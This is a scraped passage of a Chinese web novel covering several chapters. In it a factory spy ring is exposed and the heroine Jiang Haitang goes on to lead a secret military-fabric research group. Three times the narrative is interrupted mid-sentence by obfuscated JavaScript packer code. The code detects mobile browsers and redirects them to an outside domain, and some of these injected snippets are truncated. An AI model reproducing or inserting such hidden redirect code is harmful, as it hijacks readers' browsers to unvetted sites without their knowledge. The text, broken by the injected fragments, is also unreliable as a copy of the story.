姜海棠安慰康小夏,其实她也知道,这样的安慰没有什么用。 这件事如果被传 开了厂里的许多女工估计都会害怕。 与此同时纺织厂保卫科的白炽灯将办公室照得亮如白昼。 赵凯坐在办公桌前大口灌下半搪瓷缸的浓茶。 他刚才带着人将李胜利的宿舍清扫了一遍还真从中找出一些有用的东西。 瞧见陆良辰进来他立即起身汇报工作。 “团长我们和**、国安配合已经将相关人员全都抓起来了。这次的行动很成功已经掌握的嫌犯都被抓了没有遗漏。”赵凯语气十分沉重但沉重中又带着几分激动。 激动是因为没想到还能有机会参与到这种大案中去。 而沉重则是觉得敌特竟然有这么多像李胜利这种人竟然是还在部队里的时候就已经被人拉拢了实在是太可怕了。 “李胜利家里有什么发现吗?”陆良辰问。 “在李胜利宿舍搜出来的全是密码通讯记录!”赵凯将自己的发现交给陆良辰。 “这些记录全是用纺织术语编写的暗码和去年火车泄密案的加密方式如出一辙!” 陆良辰接过笔记本泛黄纸页上工整记录着“纱锭转速3200经纱张力15.2”看似普通的生产数据右下角却画着奇怪的齿轮图案。 他指尖抚过某个符号想起三个月前在废弃铁轨旁发现的半截烟蒂——同样的齿轮印记印在沾满机油的烟纸上。 “联系国安立即启动B计划务必要在天亮之前一网打尽。” “是团长!”赵凯严肃回答。 “李胜利的家人可有招供?” “她们似乎并不知道李胜利是敌特关于姜海棠同志李秋兰说因为梁素雅坚持离婚吴秀云觉得李家现在这样都是因为姜海棠同志离开因此想让姜海棠同志重新回到李家当牛做马。” “李秋兰还说李胜利现在工作不如意他们计划等李胜利和姜海棠同志结婚之后就让姜海棠让出工作给李胜利。” 陆良辰冷笑:“想的倒是美。李胜利之所以品德败坏和他母亲大有关系。” 赵凯没有回答但吴秀云确实不是什么好人而是一个心肠歹毒的瘫子。 不知道什么时候外面开始下雨了 审讯室里李秋兰蜷缩在铁椅上指甲深深掐进掌心。 吴秀云瘫坐在椅子上浑浊的眼睛死死盯着天花板嘴里喃喃自语:“都是那个扫把星……” “说吧把你们知道的都说 出来,要不然,就等着吃花生米!小王猛地拍桌。 李秋兰浑身发抖,突然崩溃大哭:“我不知道!我真的不知道!我哥回家什么都不说的。他只说要让姜海棠回来,让我帮他…… 而老郑,正带着李胜利移交国安部门,李胜利被拷在吉普车的座位上,右眼缠着渗血的纱布。 当国安人员亮出微型相机时,他突然狂笑起来,笑声里带着破罐子破摔的癫狂:“你们就算抓到了我又能怎么样?我们还有很多…… 这是春天的第一场雨,持续了整整两天。 姜海棠躺在病床上,听着护士议论着纺织厂的动静。 有人说保卫科连夜搜查了半个厂区,有人看见国安的车进进出出,还有传言说李胜利牵扯出的案子比想象中更大。 第三天清晨,阳光终于穿透云层。 陆良辰推门进来时,胡茬布满下颌,眼睛里布满血丝。 他手里拎着两个饭盒:“医生说你恢复得不错。 姜海棠坐起身,牵动伤口微微皱眉:“案子怎么样了? 男人沉默片刻。 “他是两年前还在部队时被策反的。陆良 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个消息很快就传开了,厂里的许多人都知道,李胜利被抓是因为他是敌特分子,而姜海棠受伤也不是被李胜利糟蹋,而是为了抓敌特分子被打伤了。 这下,姜海棠成了巾帼英雄,很快,厂里的那些流言蜚语都消失了。 厂里的很多人都唏嘘,没想到,那个看起来道貌岸然的李胜利竟然是敌特分子,而姜海棠这样一个弱女子,居然敢对敌特动手,和敌特殊死搏斗。 许多女工开始赞美姜海棠,表示要向姜海棠同志学习,坚决与敌特分子做斗争,绝对不让国家蒙受损失。 梁素雅听到李胜利竟然是敌特分子的时候,脸都白了。 她虽然已经和李胜利不住在一起,可是他们还是夫妻,没有离婚。 在梁素雅惊恐不安中,国安终究还是找上门带走了她。 不光梁素雅,就连已经在**的李胜杰,也被重新带回来进行调查。 毕竟,当初李胜杰被抓就是因为企图泄露机密。 第192章 新面料 经过一系列的调查轻工局的副局长丁长林虽然不是敌特分子但却被敌特分子利用泄露了不少的信息。 这一次等待丁长林的将会是最严厉的制裁。 厂里和王强一伙的不少人因此被连累有些被下放有些被撤职还有些被开除。 赵凯捉拿敌特分子有功升了一级 虽然对于赵凯年纪轻轻就等成为副厂长有些人不满意但赵凯的功劳是实实在在的。 而此时被关押起来的李胜利做了一个梦。 梦里姜海棠没有到城里找他更没有留在厂里当工人。 她一辈子都在老家清水沟伺候他老娘吴秀云照顾他的弟弟妹妹一直到老娘吴秀云八十多岁去世她才知道他活着的消息。 而这几十年时间里他为组织窃取了纺织厂的不少机密越来越得到重用一步步在背后组织的扶持之下登上高位。 他登上高位之后不断给组织提供更多的机密情报在组织的扶持下从厂里的小小主任一步步成为手握大权的政府要员走上人生巅峰。 而姜海棠知道他活着的消息之后闹了一下被推倒撞在棺材上后被他们兄妹偷偷丢到了山里也不知道是不是被狼吃了。 等他从梦里醒来的时候还在惊惧不定。 他觉得这才是他原本应该有的人生他的人生不应该变成这样。 好像一切从姜海棠突然出现在纺织厂就不同了。 他大声喊着不应该是这样不应该是这样。 可负责看守他的人只以为他是受到刺激后疯了。 但不管他是疯还是装疯都逃不过国家的制裁。 一周后的全厂大会上礼堂座无虚席。姜海棠坐在前排后背的伤口还隐隐作痛但她的腰杆挺得笔直。 国安的领导亲自宣布:“……这个潜伏多年的特务组织已被一网打尽李胜利系该组织在轻工系统的联络人……纺织厂保卫科的同志、姜海棠同志、陆良辰同志勇敢和敌特做斗争……” 现场响起热烈的掌声许多人将目光看向姜海棠这边。 姜海棠回想起那惊魂一夜还有些后怕。 如果不是陆良辰教她的格斗技巧如果不是那根意外找到的铁管…… “怕吗?”陆良辰的声音将她拉回现实。 姜海棠微微点头。 当然怕! 但因为有身边这个男人在或许也可以不怕! 礼堂里的掌声 渐渐平息,姜海棠感觉后背的伤口隐隐作痛,但她的嘴角却忍不住上扬。 陆良辰的手掌依然覆在她的手背上,温暖而有力。 男人的手掌覆上她的手背,体温透过皮肤传来,“以后我教你用枪。” 姜海棠轻笑出声,“那你可得把我训练成神**,下次再遇见敌特,一枪崩了他们!” 散会之后,陆良辰叫住了姜海棠,二人一起去了陆良辰的办公室。 陆良辰的办公室窗户打开一点,春天的风带着纺织厂特有的棉絮味道飘进来。 “陆厂长找我来,有什么事呢?”心情很好的姜海棠不由升起了揶揄的心思。 陆良辰笑着瞪她一眼,给她倒了一杯温水,在她对面坐下来。 姜海棠捧着搪瓷缸,温水透过杯壁传递着温度,就像对面这个男人给她的感觉,温暖而踏实。 “以后,我们就可以安安心心地搞生产了,海棠,你的任务会更加重。” 姜海棠立即意识到,陆良辰可能有很重要的事情要对自己说。 果然,陆良辰接着说:“海棠,我从部队转业到地方后,到金城纺织厂是带着任务来的。” “什么任务?”姜海棠不由多了几分严肃。 “上面要求我们研究军需布料。” 四个字,像是惊雷一样炸响在姜海棠的耳边。 “军用布料?”姜海棠放下杯子,眼睛亮了起来。 陆良辰点点头,从抽屉里取出一份盖着“机密“红印的文件。 “我是带着任务下来的,可从下来之后,一是厂里现有的技术力量跟不上,二是我还以有敌特分子在厂里潜伏,所以打了报告延期任务,先抓敌特。” “直到现在,敌特应该肃清了,技术力量也比以前有了大幅度的提升,我们要从现在开始启动新任务,全力研发新型军用布料,要同时具备防水、防火和耐磨三种特性。” 他的手指在文件上轻轻敲打,“这是给边防战士用的,高原地区昼夜温差大,还要考虑保暖问题。” 姜海棠接过文件,眉头不自觉地皱了起来。 纸上的技术要求密密麻麻,每一项指标都远超纺织厂现有的技术水平。 这是一项十分艰巨的任务啊! “多长时间?” “上面没有明确的要求,只有四个字,越短越好!” 姜海棠沉默了,往往,越是没有要求,要求就越高。 “三个月?”她指着时间要求惊呼出声,“这怎么可能完成?“ “海棠,我希望,这项工作是你牵头抓,带着厂里现有的科研力量开展工作。虽然很困难,但不管怎么困难,任务都要完成。” 姜海棠郑重点头。 “好,我会努力的。” 和她之前做的工作相比,这项工作更加圣神和有意义。 “我知道有一种布,纺织工艺不难,甚至可以用最简单的工具纺织,但布料比寻常的布料结实,或许,我可以从这个方向进行研究。” 她上辈子没有研究过军需布料,但她觉得,可以尝试。 “好,海棠,我立即打报告,请上级组织同意成立‘军工技术攻坚小组’你担任组长,全权负责技术研发工作。” “保证完成任务!”姜海棠起身,严肃回答。 陆良辰从口袋里掏出一枚小小的铜钥匙,“这是厂里老实验室的钥匙,五十年代苏联专家用过的地方,设备虽然旧但基础齐全。” 姜海棠接过钥匙,金属的冰凉触感让她清醒了几分。 “你早就知道我会同意?”她挑眉问道。 “我了解你是一个多么出色的研发人员,也了解你是一个对国家有情怀和热诚的姑娘。” 陆良辰笑着从抽屉里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828536|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又拿出一个铁皮盒子。 “这个送给你!” 姜海棠接过盒子打开,只见里面装着一把精致的计算尺和一本笔记本。 姜海棠翻开扉页,上面是陆良辰工整的字迹:“致我最聪明的海棠——愿你在科学的海洋里乘风破浪。” 姜海棠眼眶发热,赶紧低头假装研究计算尺。 “我知道,厂里现在的条件有限,能提供给你的不多,但海棠,我会尽量保障研发费用。” “你……就会哄人!”姜海棠语气软软的,倒有点撒娇的意思了。 “公私分明啊,姜组长。”陆良辰故作严肃地站起来,“明天早上八点,我要看到攻关小组的名单和初步方案。” “是!陆厂长!”姜海棠站起来敬了个滑稽的军礼,然后想到了什么问:“我们厂里目前从事研发的人员,都调查过了吗?” 研发部门现在有十来个人,除了之前的几位老同志之外,还有几个是顾教授和舒教授推荐的人。 “都调查过了,你放心用起来就行。” 得了陆良辰的保证,姜海棠只恨不得立即出门开展工作,却在转身时被陆良辰拉住了手腕。 “海棠,晚上回家吃饭吗?”他声音突然柔软下来,“我们很久没有在一起吃饭了!” 姜海棠心头一暖。 “我可能晚点,没有办法自己做饭,但肯定能一起吃饭。” “好,我去食堂打饭,小桃子应该也想念我们了。” 离开办公楼,姜海棠没有直接去研发部门,而是转向了车间。 她要先找几个人,那些平时不显山露水却有着真本事的老师傅或许也可以吸收进来。 纺织车间机器轰鸣,姜海棠猫着腰穿过一排排纺纱机,找到了正在检修设备的王铁柱。 “王师傅!”她提高嗓门压过机器声,“能借一步说话吗?” 王铁柱五十出头,是厂里出了名的“布痴”,据说能用手摸出纱线的支数。 他擦了擦手上的机油,跟着姜海棠来到车间角落。 重点是,这位老师傅家世清白,绝对可信。 “军工布料?”王铁柱眼睛一亮,“我年轻时在东北被服厂干过,给志愿军做过冬装!” 他左右看了看,压低声音,“不过你要的那种三防布料,得加特殊材料……” “什么材料?”姜海棠赶紧掏出笔记本,打算将这些先记下来。 “石棉可以防火,但会扎皮肤;橡胶能防水但太重……”王铁柱掰着粗糙的手指,“关键是找到既能混合又不会互相抵消的材料组合。” 正说着,一个清亮的女声插了进来:“我听说苏联有种新型化学纤维,叫……叫什么来着?” 姜海棠回头,看到梳着两条大辫子的质检员周小梅站在身后,手里还拿着刚检验完的布样。 “你这丫头,吓死个人了!” 姜海棠没想到,自己和王师傅的话,会被别人听见。 好在周小梅是谭**的外甥女,算是可信任的人。 “我们去我的办公室说话。” 第193章 研究小组 三人很快到了姜海棠的办公室。 姜海棠给两人倒茶,搪瓷杯里升腾的热气氤氲了办公室里悬挂的纺织工艺流程图。 “快坐快坐,今天咱们可得好好聊聊。 三人围着略显斑驳的木质办公桌坐下,越聊越投入,铅笔在草稿纸上沙沙作响,原本空白的纸面渐渐布满各种公式、图表和批注。 随着讨论深入,姜海棠眼中的光芒愈发明亮。 直到下班铃声突兀地响起,姜海棠才惊觉时针已悄然转过两大格。 她有些不好意思地捋了捋耳边的碎发,“不知不觉就聊这么久了,真是对不住,耽误你们吃饭了。 “哪里哪里,今天和您聊,我们豁然开朗。王师傅十分诚挚的说。 之前,他对这位年轻的女工程师并不了解,只知道她很厉害,今日见了,一起聊了,才知道,厉害两个字根本不足以形容。 姜海棠心里盘算着后续的研究计划,“我们改天再聊,到时候,多找几名同志一起。 脑海中快速闪过段长河和黎景程,还有舒老师和顾老师推荐的那两名新人,他们说不定能带来新的思路。 目前厂里的研究力量依然不够充足,但要是把能整合的力量都整合起来,也算不错。 “我能不能把我表哥也请过来,他在省化工研究院工作,这方面应该有发言权。周小梅迟疑了一下,才说出一个诉求。 姜海棠原本有些疲惫的眼睛瞬间亮了起来,仿佛在黑暗中突然寻到了一盏明灯。 “这真是太好了,小梅,你真是我们的大福星啊!有了专家的指导,咱们的研究肯定能少走不少弯路。 下午,姜海棠借了刘红梅的自行车,风风火火地赶往省图书馆。 图书馆里弥漫着淡淡的油墨香和木质书架的气息,她穿梭在一排排高耸的书架间,眼神专注而急切。指尖轻轻拂过书脊,时不时抽出一本,快速翻阅目录和章节,眉头时而紧皱时而舒展。 回到家,夕阳的余晖将前院镀上一层温暖的橘色。 陆良辰带着小桃子正在翻地,陆良辰卷起的衣袖下,露出结实有力的手臂,铁锹一起一落间,泥土被翻得松软。 小桃子戴着一顶有些歪的草帽,正用小铲子努力地挖着土,模样认真又可爱。 “妈妈!看到姜海棠进门,小桃子丢下手里的小铲子,像只欢快的小鸟扑向姜海棠。 “小心点,别摔着。 姜海棠笑着弯腰,用下巴轻轻蹭了蹭女儿的发顶, 怀里的书却稳稳当当。 这些可都是她从省图书馆精心挑选的宝贝,关于纺织工艺和染料化学的专业书籍,有些还是外文翻译本,在普通书店根本买不到。 可以说,每一本都承载着希望,是解开纺织技术难题的关键钥匙。 陆良辰直起腰,擦了擦额头的汗,铁锹插在松软的土里。 “春天到了,我看其他人家都开始翻地了,正好今天回来得早,就把翻好了,就等你决定种什么。”他的目光温柔地落在姜海棠身上。 姜海棠看着陆良辰被夕阳镀上一层金边的身影,心里涌起一阵暖意。 她仔细打量着前院的空地,脑海中迅速规划着种植方案,“这边种西红柿和黄瓜,那边种点韭菜和小葱。再种几颗番瓜、两垄辣椒和茄子,基本上就够了。” “你不是说,前院种花后院种菜吗?”陆良辰疑惑问。 姜海棠自己都已经忘了,陆良辰当初申请到院子的时候,问她应该种花还是种菜的时候,她回答了前院种花。 这会儿被陆良辰提醒,瞬间脸上笑意更深。 当时她是揣度城里姑娘的想法,并不知道那时候,陆良辰就是真心诚意地问她的想法。 “那时候,我以为你有对象要结婚了,觉得能和副厂长结婚的对象,肯定是城里姑娘,猜度了一下,给了这个建议。” 想起当时的误会,她忍不住掩嘴笑了起来,笑声清脆悦耳。 当时,她可一点都不敢想,会有一天和陆良辰在一起,更不知道,陆良辰是真的将她的答案记在心上了。 陆良辰:…… “好,都听你的。” 陆良辰眼中闪过一丝了然的笑意,他知道姜海棠这个年纪的小姑娘,骨子里还是喜欢花的。 他默默在心里做了决定,要在小院子里预留一些地方,等有空了,就去淘换点花花草草,给她一个惊喜。 一家人吃了晚饭后,忙着翻地的小桃子累了,早早睡下。 姜海棠和陆良辰坐在沙发上说话,姜海棠简单和陆良辰说了一下今天和周小梅还有王铁柱聊的内容,以及之后几天的打算。 “需要我帮忙吗?”陆良辰问道,眼神中满是关切。 姜海棠犹豫了一下,“暂时不用,对了,周小梅说她表哥在省化工研究院工作,我们会请他来看看。” “郑明远?”陆良辰挑眉,“他可是化工领域的专家,能请来当然好。” “你认识他?”姜海棠惊讶地问。 “去年省里 开工业会议时见过。”陆良辰笑了笑“需要我出面邀请吗?” 姜海棠摇摇头。 “先让小梅试试实在不行再请你出马。你是厂长身份不一样出面的话意味着正式合作现在还不是时候。” 她心里清楚不到万不得已不想给陆良辰添麻烦也想凭借自己的能力把事情办好。 “好都听你的。”陆良辰抓着姜海棠的手:“走吧我送你回去。” 姜海棠笑道:“就这么两步路我自己回去就行你忙了这么长时间好不容易闲一点早点睡觉吧。” “那不行我是你的未婚夫必须要送你回去。”陆良辰的语气不容置疑。 最终姜海棠还是顺着陆良辰的意思让他送自己回家在陆良辰依依不舍的目光中关上了院子大门。 姜海棠在书桌前摊开借来的书籍台灯的光线柔和地洒在她专注的侧脸上。 她手中的红笔在书页间来回穿梭不时在笔记本上记录着关键要点。 窗外夜色渐深而她沉浸在知识的海洋中浑然不觉时间的流逝。 她面前的本子上已经记录了密密麻麻的笔记和草图。 她的研究目标虽然是军工布料但是遇到关于其他纺织方面正好需要用的内容姜海棠也会单独记录下来这些都可能成为未来研究的重要参考。 这个晚上 翌日一早匆匆吃了早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“姜工,您说的损耗率问题,我们染色车间也注意到了。”段长河说起这个话题非常有兴趣。 “上个月有批军绿色布料,染废了整整三十匹。只能当做瑕疵品处理,看得心疼。” 黎景程也说道,想起那批布料,他的脸上满是惋惜。 “我事后研究过,这批军绿色布料的色牢度不达标,纤维断裂强度也有问题。我怀疑是染色温度和助剂配比的问题。” “姜工,会不会是咱们现在用的固色剂成分太单一?而且染色时间好像也过长,能耗太高了。” …… 姜海棠看着两个年轻人认真的样子,嘴角不自觉上扬。 午后的阳光透过树荫洒在三人身上,将他们的影子拉得很长。 “明天是星期天,你们到我办公室来一趟,还有几位其他的同志也要来。”快到食堂的时候,姜海棠给二人说道:“周末愿不愿意免费加班?” 二人哪里有不愿意的,一口答应下来。 第194章 各方配合 当天下午,姜海棠一直都在办公室,那些泛黄的书页间夹着无数自制书签,那些标注荧光色的段落都被她工整誊抄在活页纸上。 计算器在她指尖飞速跳动,草稿纸上密密麻麻排列着混纺比例公式,某个关键数据被反复涂改,墨迹层层叠叠形成深色斑块。 窗外暮色渐浓,办公区的喧哗声逐渐消散,唯有她笔下沙沙作响,将两个研究方向的推演过程细化到每个实验步骤。 当她终于放下笔时,腕间的机械表已指向晚上八点,月光透过百叶窗在数据图表上投下斑驳的影子。 想起还没有邀请元俊峰和常志宴两位同志,她又急匆匆地去了一趟宿舍区。 元俊峰和常志宴二人是舒启华和顾昀笛推荐过来的人,刚到厂里不久,但工作十分认真,而且,非常有能力。 回到家里,姜海棠在纸上详细列出了每个人的专业特长和研究方向,她希望能组建一个优势互补的团队。 次日清晨六点,姜海棠就被闹钟惊醒。 厨房灶台上,铝锅咕嘟冒着热气,她一边熬着小米粥,一边在一旁的草稿纸上记录突然闪现的灵感,或许可以尝试将天然苎麻与化学纤维混纺? 这个念头让她连盛粥的动作都加快了几分。 八点不到,姜海棠抱着装满资料的帆布包匆匆出门,讨论约定的午后,她想着早上再将之前记录的不全面的问题梳理一下。 晨光中,厂区主干道上的白杨树在晨风中舒展着嫩绿的枝叶。 她拐进办公楼时,发现黎景程和段长河正蹲在台阶上吃包子。 两人见到她,立刻大口将剩下的包子吞下。 他们手里还拿着笔记本和笔,显然是做好了充分的准备。 “你们来这么早?今天是周末,怎么不多睡一会儿?”姜海棠笑着问二人。 “姜工,我们七点半就到了!”黎景程咧着嘴笑。 “哪里能睡得着,一想到今天有大事要参与,我们两个昨天晚上就聊了半个晚上。”段长河挠挠头,有些不好意思地说。 只是,虽然聊了半个晚上,却没有一点头绪,还是不知道今天讨论的主题是什么。 邀请二人进门,姜海棠又去打了一趟热水回来,给二人倒上热茶之后,才说:“厂里打算研发军工布料,要成立专门的研发小组,今天讨论的主题就是这个。” 二人半晌没开口,饶是他们想了半个晚上,讨论了许多可能,也没想过,是要研究军工面料啊。 他们觉得,这是意料之外,但又觉得,应该在意料之内,只是他们谁都没敢朝着这个方向想。 办公室里陷入了短暂的沉默,随后,两人眼中闪烁着兴奋的光芒。 午后,办公室渐渐热闹起来,众人围在简易拼起的长桌旁,草稿纸像雪花般铺满桌面,红蓝铅笔地批注在阳光下交错闪烁。 黎景程带来的染色样本在阳光下呈现出微妙差异,王铁柱正用游标卡尺测量布料厚度。 “关键是原材料。”姜海棠用铅笔轻点图纸,“普通棉纱强度不够,混纺比例又影响防火性能……” 办公室门突然被轻轻叩响。 众人警觉地停下讨论,姜海棠迅速用报纸盖住桌上的样品。 “请进。” 门开了,一个穿深蓝色中山装的年轻男子站在门口,手里拎着鼓鼓囊囊的公文包。他的身旁站着的正是周小梅。 “我给大家介绍一下,这位是我表哥郑明远。” 郑明远推了推黑框眼镜,目光在众人脸上扫过,最后落在姜海棠身上:“打扰了,我是省化工研究院的郑明远,很荣幸能来参加你们的讨论。” 姜海棠连忙起身相迎。 她注意到这位专家虽然年轻,但眼角已有细纹,左手虎口处还有一道淡淡的化学灼伤疤痕。 郑明远没有寒暄,走到办公室之后,找了凳子坐下来,直接从公文包取出一个牛皮纸袋:“这是上级批准提供的资料,限本小组内部传阅。” 他顿了顿,又拿出个密封的铁盒:“还有这个,新型阻燃剂样品,十克。” 姜海棠接过这两样东西,手心微微发汗。 真没想到,今天的讨论还有这样的意外惊喜。 “郑同志来得正好。”她稳了稳心神,”我们正在讨论原材料问题。” 郑明远走近桌前,目光扫过那些染色样本,突然指向其中一个:“这个色号不对,军用标准是GSB05-1426,你们用的是民用色卡。” 黎景程“啊”了一声,脸顿时涨得通红,显然,他也没想到。 姜海棠却眼前一亮:“郑同志熟悉军用标准?” “我在军工材料研究所实习过半年。”郑明远语气平淡,却让在场所有人都肃然起敬。 讨论持续到夕阳西下。 当其他人陆续离开后,郑明远特意留到最后:“姜海棠同志,有件事必须单独和您说。” 姜海棠心头一紧。 郑明远从内袋取出封信:“我已经得到相关领导首肯,加入你们这个项目。上级指示,这个项目代号‘绿盾’,每周三我要向军区李干事汇报进展。” 信纸上的红头文件让姜海棠手指微微发抖。 她没想到这项任务规格如此之高。 而且,上面还专门安排了专家级的人协助他们完成任务。 “我明白了。”她深吸一口气,“请组织放心。” “李干事特别交代,你们需要的分析天平已经在运输途中。” 走出办公室时,天边仅剩几缕霞光。 姜海棠抱紧装着资料的公文包,突然看见陆良辰正挂着个网兜站在不远处,网兜里装着青菜和一条五花肉和一条大鲤鱼。 “今天供销社来鲜鱼,我抢到一条,给我们的姜工补补身体。”他自然地接过姜海棠手中的包。 姜海棠心头一暖。 两人并肩走在暮色中,陆良辰突然压低声音:“郑明远来了?” 姜海棠惊讶地看他一眼。 陆良辰笑了笑:“下午厂办接到省化工研究院的电话,说要给我们厂技术支援。” “你……”姜海棠欲言又止。 “我什么都不知道。”陆良辰眨眨眼,“不过厂里刚批了间大办公室给你们组,明天就能用。” 姜海棠突然明白过来,心头涌起一阵暖流。 这个看似不经意的安排,不知陆良辰费了多少心思。 晚饭后,陆良辰在院子里开始种花,他不知道从什么地方弄了两颗月季花苗,姜海棠在灯下研读郑明远带来的资料。 这些文件详细记录了一种新型混纺工艺,正是她们需要的。 但有个关键参数被墨水涂黑,显然是保密需要。 姜海棠咬着铅笔头,突然想起梦中书房里那本《特种纺织材料》。 她闭上眼睛努力回忆,果然记起几组关键数据。当她迫不及待地记在笔记本上时,发现这些数字竟与文件中未被涂黑的部分完美契合! “良辰!”她激动地跑向院子,“我可能找到解决方法了!” 陆良辰放下铲子,看着小姑娘发亮的眼睛,突然伸手拂上她的发顶:“别太累着。” 简单的三个字,却让姜海棠鼻子一酸。 第二天清晨,姜海棠一大早就醒来了。 她蒸了一锅馒头,又煮了稀饭,还特意煎了三个荷包蛋。 “今天什么日子?”陆良辰看到丰盛的早餐的时候,十分意外。 姜海棠把热腾腾的馒头塞进他手里:“庆祝我们组搬新办公室!” 她顿了顿,“还有……谢谢你。” “只是说一句谢谢吗?”陆良辰促狭问。 姜海棠忽然抬起胳膊,搂住陆良辰的脖子,在他脸上印下一个浅浅的吻。 陆良辰一愣,手里的馒头差点儿掉在地上。 他愣愣地看着姜海棠,小姑娘居然…… 陆良辰看着小姑娘漂亮的脸庞和水润润的唇,终究没忍住,亲了上去。 新办公室位于厂区最安静的西北角,原先是仓库,现在摆上了六张办公桌和一个大实验台。 段长河正带着几个工人安装水管,说是要接个简易水槽做实验。 “姜工!”黎景程兴奋地指着墙角,“看这是什么!” 他掀开一块帆布,露出台崭新的分析天平。 姜海棠惊讶地抚摸着这台精密仪器,这在当时可是稀罕物。 她转头看向门口,郑明远正倚在门框上微笑:“不是给你们的,只能借给你们用三个月。” 小组第一次全体会议在新办公室召开。 姜海棠将梦中记下的数据与郑明远提供的资料结合,提出了全新的研发方向。 她在黑板上画出示意图,“段长河同志带着元俊峰和常志宴两位同志负责织机改造,我和郑同志以及王铁柱同志主攻材料配方。黎景程和小梅同志负责数据记录和标准对接。” 众人摩拳擦掌,唯有郑明远眉头微蹙:“姜组长,有个问题。新型阻燃剂的主要原料石棉,现在全省都紧缺。” 会议室突然安静下来。 姜海棠想起梦中那本书的后半部分,提到过某种替代材料…… “也许我们可以试试用其他产品替代……”剩下的话没有说完,门外突然传来咳嗽声。 第195章 我只要跟着你 谭书记背着手,迈着沉稳有力的步伐走进办公室,身后跟着一位面容冷峻、气质不凡的陌生同志。 新的办公室内窗明几净,新添置的实验设备摆放得整整齐齐,墙上还挂着与科研相关的图表和标语,经过布置,焕然一新。 两人缓缓环顾着办公室,谭书记眼神中满是赞赏,满意地点点头,声音爽朗地说道:“不错嘛,有点科研单位的样子了。” 那位陌生的同志则一言不发,径直走到实验台前,目光如炬地仔细查看上面的仪器和资料,神情专注而认真。 “我给你们介绍一下,”谭书记笑着开口,“这位是军区后勤部的司志鹏同志,今天是专门来看大家的。” 众人纷纷投来好奇的目光,礼貌地向司志鹏点头致意。 “辛苦各位了,”司志鹏向前一步,声音清朗坚定,充满激情,“因为种种原因,这个项目一拖再拖,留给大家的时间比较短。但我相信,凭借各位的专业能力和敬业精神,一定能攻克难关!” 众人纷纷表示这是应该做的,不辛苦,现场气氛热烈而融洽。 随后,姜海棠作为项目的主要负责人,简要地向两位领导汇报了当前的研究成果和遇到的困难。 当她提到石棉短缺这个棘手问题时,谭书记和司志鹏心领神会地交换了个眼神。 “原料问题,我们会尽量协调解决。”谭书记突然提高声音,神情严肃而郑重,“经厂党委研究决定,正式成立‘军工布料技术攻关小组’,姜海棠同志任组长,直接向我汇报!” 说着,他从公文包里取出一张红头文件,郑重其事地放在桌上。 姜海棠看到文件末尾盖着厂党委和军区后勤部的联合公章,心中顿时涌起一股难以言喻的激动,之前所有的担忧和顾虑似乎都在这一刻烟消云散。 有了军区的背书,项目推进的诸多难题都将迎刃而解,她对未来充满了信心。 送走谭书记和司志鹏后,郑明远悄悄拉住姜海棠,眼神中透着好奇:“姜工,你刚才想说什么替代材料?” 姜海棠犹豫了片刻,最终还是选择信任眼前的同事,低声说道:“水镁石。我在一本外文资料上看到过,它的纤维特性与石棉相似,但更安全。” 其实,这不是她从外文书籍上看到的,而是在梦中看到的。 郑明远眼睛瞬间一亮,兴奋地说道:“这个我知道,我们省的灵县就有水镁石矿!” 姜海棠惊喜万分,没想到幸福来得如此突然,她立即欣喜地追问:“真的?” “我同学就在省地矿局,我回头和他咨询一下详细情况。”郑明远笑着说。 姜海棠急切地问道:“郑主任如果有电话的话,可以现在就电话联系吗?” 郑明远毫不犹豫地点头:“自然可以。” 当天下午,郑明远就通过厂部电话联系上了他那位地质专家老同学。 更令人惊喜的是,对方表示灵县的水镁石矿恰好是他们在勘探的,并且可以提供少量样品。 这个好消息迅速在项目组传开,姜海棠等人开心得不得了。 “太好了!”周小梅高兴地拍手,眼中满是期待,“我们现在是不是就可以去取样品?” 郑明远笑着摇了摇头:“只怕还不行,厂里得出文件才行。而且,这事得保密,水镁石矿属于战略资源。” 消息很快传到陆良辰这里,他深知此事的重要性,立即向军区汇报,之后便马不停蹄地安排人着手办理相关事宜。 这些天,姜海棠全身心投入到项目筹备中,比陆良辰这个厂长还要忙碌,照顾孩子的任务自然而然地落到了陆良辰的头上。 周末,难得有了休息时间的陆良辰,因为心里一直压着的关于项目的大石头终于放下,整个人轻松了不少。 他带着小桃子在厂区的空地上放风筝,小桃子欢快的笑声清脆悦耳,像银铃一般传出很远,很快就吸引了不少孩子过来。 这时候,一个身影让陆良辰心头一紧,此人正是小桃子曾经的老师林美华。 “陆厂长。” 林美华的声音低沉而沙哑,多日不见,她的变化堪称巨大。 曾经那个衣着光鲜、神采飞扬的女教师,如今整个人状态极差,身上的衣服破旧不堪,面容憔悴,仿佛一下子老了十岁不止。 林美华当初因为虐待学生,被厂里开除。 之后,她嫁给了硌委会何主任的儿子何其亮,靠着何家的关系,得到了一份不错的工作。 然而,在与姜海棠和陆良辰产生矛盾后,她和何其亮耍阴招被调查出来,他们的行为被上面盯上后,不仅连累到了何父,两人也都从原岗位被调整到了边缘岗位。 从那以后,何其亮把所有的怨气都撒在林美华身上,对她非打即骂,这段时间,林美华受尽了折磨。 看到林美华,陆良辰脸上原本温暖的笑容瞬间消失,眼神变得冰冷。 “林美华!你来干什么?” 